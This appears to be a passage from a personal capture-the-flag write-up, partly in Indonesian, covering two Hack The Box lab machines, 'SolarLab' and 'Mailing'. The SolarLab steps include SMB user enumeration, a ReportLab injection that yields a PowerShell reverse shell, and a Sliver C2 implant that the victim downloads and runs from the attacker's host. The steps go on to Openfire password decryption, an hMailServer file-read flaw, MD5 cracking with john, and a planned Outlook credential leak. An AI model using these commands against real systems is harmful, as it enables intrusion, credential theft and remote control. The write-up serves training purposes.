details-file.xlsx A 12793 Fri Nov 17 19:27:21 2023
My Music DHSrn 0 Fri Nov 17 02:36:51 2023
My Pictures DHSrn 0 Fri Nov 17 02:36:51 2023
My Videos DHSrn 0 Fri Nov 17 02:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 17:35:57 2023
7779839 blocks of size 4096. 1893544 blocks available
smb: \> get details-file.xlsx
getting file \details-file.xlsx of size 12793 as details-file.xlsx (64.7 KiloBytes/sec) (average 64.7 KiloBytes/sec)
smb: \> exit
and we can also enumerate smb users with this by doing:
crackmapexec smb solarlab.htb -u anonymous -p '' --rid-brute
SMB 10.129.44.43 445 SOLARLAB [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.129.44.43 445 SOLARLAB [+] solarlab\anonymous:
SMB 10.129.44.43 445 SOLARLAB 500: SOLARLAB\Administrator (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 501: SOLARLAB\Guest (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 503: SOLARLAB\DefaultAccount (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 504: SOLARLAB\WDAGUtilityAccount (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 513: SOLARLAB\None (SidTypeGroup)
SMB 10.129.44.43 445 SOLARLAB 1000: SOLARLAB\blake (SidTypeUser)
SMB 10.129.44.43 445 SOLARLAB 1001: SOLARLAB\openfire (SidTypeUser)
nah after we get the xlsx file and also the existing username. we open the xlsx file and it turns out to get various password credentials
nah after we get the creds, try the subdomain http://report.solarlab.htb:6791
after trying several usernames from smb and passwords from the xlsx I found that the correct creds are
BlakeB:ThisCanB3typedeasily1@
how do I know the username? we can enumerate on the usernames in the xlsx file which are only 2, namely Capital letters at the beginning and end.
after we successfully log in
nah after that we just need to test the features
after I tested the pdf generation feature it works and I downloaded the pdf. for further enumeration
it turns out that when we use exiftools we know the generated pdf uses ReportLab generated PDF document -- digest (http://www.reportlab.com)
nah lgsg pakai exploit ini https://github.com/c53elyas/CVE-2023-33733/tree/master
but there the exploit is placed in a new file. we just take the payload and put it in the subject / body
<para>
<font color="[ exploit ]">
exploit
</font>
</para>
here I am using revshell powershell because this is command injection
Enumeration & Persistence
so first we persist it first to make it nice. here I use Sliver. you can use your favorite c2 framework.
tldr that I use
- attacker -
sliver > http --lport 1337
sliver > http --lport 1338
sliver > generate --http 10.10.14.45:1338 --save /tmp/
cd /tmp/ && python3 -m http.server 8000
- victim -
curl -O v.exe http://10.10.14.45:8000/any.exe
./v.exe
and if you look here there is a process sus running openfire-service. let's just check the listen.
let's just turn on the proxy. and connect to our terminal (proxychains) and our browser, smartproxy
lgsg gas. eh yeah I forgot why we are targeting this openfire because this openfire is run by the system
with the information above and getting the version from the tech we can search for the exploit hehehe
nah got it. just use it, don't forget to understand it too skid
get the user password directly and update the rce plugin according to the instructions.
after we get the openfire user. we can see in the openfire db file (when rooting/enumerating) always check the db file
db openfire itself is located in Programfiles embedded-db C:\Program Files\Openfire\embedded-db
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','[email protected]','001700223740785','0')
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
we got admin credentials and password key to dec from this hash.
to dec openfire password enc this can just search and you will definitely find it
got it
java OpenFireDecryptPass.java becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
lgsg aja coba pw ini ke administrator
and successfully got root access.
Page 5
Mailing Windows · Easy
- Cracking hash password of the hMailServer admin email creds
- zero click account leak outlook
- LibreOffice CVE-2023-2255
first we scan using nmap the ip
# Nmap 7.94 scan initiated Thu May 16 02:37:04 2024 as: nmap -sC -sV --verbose -oN reports_10.129.231.40 10.129.231.40
Nmap scan report for 10.129.231.40
Host is up (0.064s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: UIDL USER TOP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: ACL CAPABILITY IMAP4rev1 IDLE SORT QUOTA NAMESPACE CHILDREN completed OK RIGHTS=texkA0001 IMAP4
445/tcp open microsoft-ds?
465/tcp open ssl/smtp hMailServer smtpd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
587/tcp open smtp hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp open ssl/imap hMailServer imapd
|_imap-capabilities: ACL CAPABILITY IMAP4rev1 IDLE SORT QUOTA NAMESPACE CHILDREN completed OK RIGHTS=texkA0001 IMAP4
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-05-15T19:37:36
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 16 02:38:16 2024 -- 1 IP address (1 host up) scanned in 71.32 seconds
there are smb, imap, pop3, and http open
lgsg aja masuk ke initial discovery ke port 80 nya kita set dlu di /etc/hosts
10.129.231.40 mailing.htb
nah we know this uses hmailserver
lgsg aja search exploitnya dan dpt kalo vuln lfi : https://www.exploit-db.com/exploits/7012
but when checked there is none. let's just try using dirsearch
200 31B http://mailing.htb/download.php
there is download.php let's directly input the payload
no, in the exploit db it actually just uses program files because program files don't have 404, we tried in x86 program files and there is. to download
cat hMailServer.INI
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: hMailServer.INI
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ [Directories]
2 │ ProgramFolder=C:\Program Files (x86)\hMailServer
3 │ DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
4 │ DataFolder=C:\Program Files (x86)\hMailServer\Data
5 │ LogFolder=C:\Program Files (x86)\hMailServer\Logs
6 │ TempFolder=C:\Program Files (x86)\hMailServer\Temp
7 │ EventFolder=C:\Program Files (x86)\hMailServer\Events
8 │ [GUILanguages]
9 │ ValidLanguages=english,swedish
10 │ [Security]
11 │ AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
12 │ [Database]
13 │ Type=MSSQLCE
14 │ Username=
15 │ Password=0a9f8ad8bf896b501dde74f08efd7e4c
16 │ PasswordEncryption=1
17 │ Port=0
18 │ Server=
19 │ Database=hMailServer
20 │ Internal=1
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
put it in the file for us to crack
cat administrator.hash
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: administrator.hash
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ 841bb5acfa6779ae432fd7a4e6600ba7
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
sudo john administrator.hash --wordlist=/home/replican/Desktop/Prod/CyberSecurity/seclists/Passwords/Leaked-Databases/rockyou.txt --format=Raw-Md5
[sudo] password for replican:
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
homenetworkingadministrator (?)
1g 0:00:00:00 DONE (2024-05-16 04:39) 3.030g/s 22915Kp/s 22915Kc/s 22915KC/s homepc..homeiyun88
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
nah we got the creds for the email which is
[email protected]:homenetworkingadministrator
back to port 80 earlier and open instruction.pdf ( download the button at the bottom )
here we know that if we send an email later with Maya it will be automatically seen (we assume there is a bot to automatically see every new message)
here immediately thought of the exploit that recently exists in the outlook email services. ( I also found out from the htb forum given a hint :v )
just use the responder and its cve to gain zero click account leak